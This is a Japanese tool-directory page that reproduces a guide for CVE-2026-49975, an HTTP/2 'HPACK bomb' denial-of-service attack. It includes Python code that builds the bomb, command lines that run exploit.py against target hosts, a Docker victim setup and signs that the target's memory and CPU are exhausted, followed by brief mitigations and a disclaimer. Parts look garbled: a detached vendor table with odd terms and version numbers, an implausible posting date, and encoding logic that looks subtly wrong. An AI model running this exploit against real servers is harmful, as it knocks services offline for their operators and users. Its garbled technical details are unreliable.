Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
cve-2026-49975-http2bomb_reproduction | Kitploit
ツール/GitHubGitHub/razureink/cve-2026-49975-http2bomb_reproduction
脆弱性分析エクスプロイトウェブセキュリティネットワークセキュリティ論文と研究学習と教育
GitHubrazureink/cve-2026-49975-http2bomb_reproduction

cve-2026-49975-http2bomb_reproduction

リポジトリを見る

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
111ヶ月前未レビュー

CVE-2026-49975(HTTP/2 Bomb)完全再現ガイド

奇安信(QiAnXin)CERT アドバイザリ + Calif オリジナル研究に基づく

================================================================

I. 脆弱性の概要

CVE-2026-49975 は、HTTP/2 サーバーおよびプロキシ実装における重大なサービス拒否(DoS)脆弱性です。「HTTP/2 Bomb」または「HPACK Bomb」と呼ばれるこの攻撃は、HTTP/2 プロトコルの 2 つの設計レベルの挙動を悪用して、ターゲットに無制限のメモリ消費(OOM)と CPU 枯渇を強制します。

  1. HPACK インデックス参照の爆発的増大 – 小さな HEADERS フレームが、HPACK インデックス参照を介して同じ cookie エントリを論理的に数千回参照します。デコード時に、ピアの HPACK デコーダはワイヤ上のサイズではなく参照数に比例したメモリを割り当てる可能性があります。
  2. フロー制御ウィンドウの停滞 – 初期ウィンドウがゼロであることと組み合わせると、送信者は HEADERS データをキューに入れますが、受信者はウィンドウ更新が届くまで読み取りを拒否します。バッファが満杯になり、メモリプレッシャーが高まります。

CVSS 3.1 基本スコア: 9.8(Critical)
ベクタ: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

II. 攻撃原理(2 段階の組み合わせ)

この攻撃は、2 つの段階が互いに補完し合うときに最も効果的ですが、各段階だけでも一部の実装に対しては十分です。

ステージ 1: HPACK インデックス参照爆弾

HTTP/2 の HPACK ヘッダー圧縮は、進化する動的テーブルを使用します。大きな cookie ヘッダーが(Literal+Incremental Encoding を介して)テーブルに挿入されると、攻撃者は 1 バイトのオペコードでそのエントリを参照できます。参照を繰り返すと、デコーダは同じヘッダーを何度も再構築します。

root@kitploit:~
ワイヤ:  [Opcode: Indexed (0x80)] [Index: 63]
[1 ref あたり 1 バイト、数千回繰り返される]
    ↓
デコードされたメモリの爆発的増大: 各展開により
{":method: GET", "cookie: a=xxxxxxxxx...x"} が
ストリーム用にバッファリングされる。

5 KB のパケットが、デコードされたペイロードの数百メガバイトに拡大する可能性があります。

ステージ 2: HTTP/2 ウィンドウ停滞

INITIAL_WINDOW_SIZE=0 の SETTINGS は、被害者にすべての HEADERS/continuation データをキューに入れることを強制します。攻撃者は WINDOW_UPDATE フレームをゆっくりと少しずつ送信します。バッファは組み合わせ的に満杯のままになります。

メカニズム増幅率
生の HEADERS ボディ1x
HPACK 参照の爆発的増大20〜80x
+ 同時ストリーム数100〜500x
+ ウィンドウ停滞1000x+

III. 影響を受けるサーバー

正確な範囲については、各ベンダーの CVE エントリを参照してください。

IV. 環境セットアップ

root@kitploit:~
# Python 3.8+ with ssl support
python --version

# SSL Certificate optional; PoC sets CERT_NONE

Docker クイックビクティム:

root@kitploit:~
docker run -d --name h2-victim -p 4433:443 \
    nghttp2/nghttp2:1.57.0 nghttpd --dh-param-file /dev/null

V. エクスプロイトコード

付属のスクリプトは exploit.py です。

コアルーチン:

root@kitploit:~
def build_hpack_bomb(num_headers: int = 20000) -> bytes:
    cookie_name = b"cookie"
    cookie_value = "a=" + "y" * 128
    data = bytearray()
    # Step 1: insert cookie into dynamic table
    data.append(0x40)  # Literal+incremental
    data.extend(encode_hpack_int(len(cookie_name), 7))
    data.extend(cookie_name)
    data.extend(encode_hpack_int(len(cookie_value), 7))
    data.extend(cookie_value.encode())
    # Step 2: spam Indexed refs (index 63)
    for _ in range(num_headers):
        data.append(0x80)
        data.extend(encode_hpack_int(63, 7))
    return bytes(data)

このスクリプトは以下を実行します:

  • host:port への TLS 接続
  • HTTP/2 PRI preface + window=0 の SETTINGS
  • HPACK 爆弾を HEADERS として送信
  • オプションで低速な WINDOW_UPDATE トリクルを送信
  • PING フレームで RTT 劣化を測定

VI. 使用方法

root@kitploit:~
# Basic run (default 10000 refs)
python exploit.py 192.168.1.100

# Custom port + 20000 refs
python exploit.py server.local 8443 -n 20000

# Disable window stall
python exploit.py endpoint.com --no-stall

# Longer observation (60 seconds)
python exploit.py 10.0.0.5 -d 60

# Verbose
python exploit.py 10.0.0.5 -v

VII. 攻撃の有効性を確認する

被害者のリソースを監視します:

root@kitploit:~
watch -n1 'free -h && echo "--- top CPU/PID ---"'
ps -o pid,rss,pcpu,comm -p <victim_pid>

攻撃が機能している兆候:

  • 被害者の RSS が 500 MB 超に増加
  • CPU が 100% に跳ね上がる
  • PING レイテンシが 1 秒を超える
  • 接続がタイムアウトする

VIII. 緩和策

アプローチ設定
ストリームあたりのヘッダー数を制限MaxHeaderCount 500
低圧縮率を拒否比率しきい値 < 5

IX. 免責事項

この情報は、教育目的および許可されたセキュリティテスト専用です。自分が所有するシステム、またはテストする書面による許可を得たシステムに対してのみ実行してください。

参考文献

  • CVE-2026-49975 Mitre
  • 奇安信 CERT アドバイザリ(原文中国語 / 英語版)
  • Calif, A. The HTTP/2 Bomb: HPAK indexed OOM. Black Hat 2025
  • RFC 7541, RFC 9113
ツールをダウンロード
Vendor / ProjectVersion説明
Apache mod_http2< 2.0.13インデックス参照の爆発で OOM
nghttp2< 1.62.0無制限のメモリ肥大化
h2o< 4.0.2デコーダの無限ループ
Node.js http2 crate< 1.12.0nghttp2-rs での本質的展開
Go net/http (h2)< 1.24goroutine ハング + OSL 割り当て
Apache Traffic Server< 9.3.0内部バッファによる OOM
HAProxy h2< 2.9過大な AVP でクラッシュ
Envoy< 1.30フロー制御での巨大な割り当て
Rust hyper/h2 crate< 5.14オーバーフロー SK でパニック
HPACK の成長を制限
動的テーブルを 1 KB に制限
接続あたりのメモリN MB 後に拒否
レート制限汎用 conn/s、req/s